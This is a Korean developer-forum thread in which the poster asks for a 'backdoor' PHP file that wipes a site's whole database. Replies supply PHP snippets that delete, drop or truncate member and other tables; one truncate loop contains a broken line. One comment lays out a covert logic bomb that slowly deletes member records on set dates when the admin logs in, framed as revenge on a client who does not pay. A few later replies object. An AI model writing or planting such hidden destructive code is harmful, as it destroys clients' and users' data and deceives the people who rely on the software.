사이트에 뒤문만들려고 하는데요.
뒤문이라면 한개 php 파일 만들려고 하는데요.
이 php파일 실행하면 phpmyadmin에 있는 데이타 비우기와 같은 그런거죠.
그냥 이 파일 실행시키면 테블안에 전체 자료가 모두다 비워질수 있도록요.
고수님들께서 좀 php파일에 들어가야 할 소스를 적어주시면 고맙겠습니다.
|
댓글을 작성하시려면 로그인이 필요합니다.
로그인
댓글 21개
include_once("./_common.php");
// 그룹 삭제
sql_query(" delete from $g4[group_table] ");
// 회원 삭제
sql_query(" delete from $g4[member_table] ");
// 그룹접근 회원 삭제
sql_query(" delete from $g4[group_member_table] ");
?>
이런식으로 테이블 지정하고 adm 폴더에 넣고 그냥 실행하면 ㄷㄷㄷㄷㄷㄷㄷ
sql_query(" delete from g4_member ");
sql_query(" drop table g4_member ", FALSE);
sql_query(" delete from $g4[member_table] where mb_id = 'test' ");
// 모두다 삭제
sql_query(" delete from $g4[member_table] ");
// 멤버테이블 없애버리기 -_-
sql_query(" drop table $g4[member_table] ", FALSE);
1개의 데이터베이스내의 전체 테이블을 비우실려면, 1개의 데이터베이스내의 모든 테이블 명을 불러와서 비우면 됩니다.
<?
include_once("./_common.php");
$Result = mysql_list_tables('테이터베이스명'); //테이블 리스트 구하기
$i=0;
while($i < mysql_num_rows($Result)){
$Table = mysql_tablename($Result, $); // 테이블명 알아내기
echo $Table.'<br>'; // 어떤 테이블이 비워졌는지 눈으로 보기위해서
sql_query("truncate table '$Table'"); // 실제로 테이블 비우기
$i++;
}
echo "테이블 비우기를 완료하였습니다.";
?>
코멘트에서 소스 짜는게 힘드네요 ㅋ~.
http://www.sir.co.kr/bbs/board.php?bo_table=pl_mysql&wr_id=10&page=3
일단 방법을 알려드리기 이전에,
최근에 자유게시판을 빌어 도움을 구하셨던 내용이 겹치는군요.
게시물 제목의 선정도 그렇거니와 이러한 방법이 공개되었을 경우,
무분별하게 악용될 소지도 생각해 보셨으면 하는 아쉬움이 남습니다.
이전에 작업비를 받지 못할 경우를 대비하여 작업물을 넘기기 전에,
zend로 작업물을 최종적으로 마무리하는 방식에 대해 언급된 적이 있기도 합니다.
(이것이 어찌보면 좀 더 강력한 방법이 될 수 있겠지요.)
모든 프로그램(?!), 작업 형태와 상관없이 작동시키기 위해서는,
먼저 DB와 처리방식을 알아야 하겠지요.
가장 일반적인 mysql 또는 mssql등의 일반적인 DB를 사용하는 방식과
그와 연동되는 보드 프로그램에서 최고관리자의 접근방식을 파악하는 것.
기존 테크노트처럼 파일DB의 형태를 띄고 있다면,
최고관리자가 파일경로에 접근하여 제어하는 형태까지도 파악해야 한다는 문제가 있습니다.
-. DB 직접 삭제? 파일 직접 삭제?!
이전 내용으로 복구하면 끝입니다. 물론 약간의 타격은 있을 수 있겠지요.
-. 핵심 : 최고관리자가 제어할 수 있는 영역에 접근하는 방식을 파악해서,
시간 또는 날짜별로 조금씩 잠식하는 방법도 있습니다.(야금야금 아주 조금씩...)
(예) 관리자로 접속시 특정일에 해당되면 불특정한 회원레코드 몇개를 삭제하고,
특정 내용을 수행하면 게시물 등의 기록을 삭제하는 등의 방식.
물론, 효율적으로 잠식하려면 티 안나게 차후라도 최고관리자의 접속정보가 변경된다고 하더라도, 최고관리자의 접속이 곧 스스로 사이트를 파괴하는 방법이라는 겁니다.
당장 열 받았다고 해서 왜 직접 손을 써야 하고 차후라도 골머리를 앓아야 할 필요는 없다는 겁니다.
대상자 측에서 프로그램 측면의 문제를 알아차리기 전까지는 알아서 정보가 파괴되어 가는 것이니...
물론 이러한 방식도 데이터를 복구하면 상당부분은 복구가 가능하겠지만,
몇 차례 반복된다면 해당 업체(?!)의 신용도 자체가 바닥에 떨어질 가능성도 있다는 겁니다.
직접적인 소스코드가 아니며,
더더군다나 본 코멘트 내용자체를 확인하셨다니
더 이상은 상단의 코멘트가 큰 의미는 없겠지요.
그누보드에 한해서만이라도 이런소스(위험함)들이 않개발됬으면 하는생각입니다.
이런것을 생각하는분들의 주위사람들은 매우 불안할게 아닌가?
악을 악으로 갚음하려면 잘못된생각이라고 생각되네요.
하물며 큰원한이 있는것도 아닌데.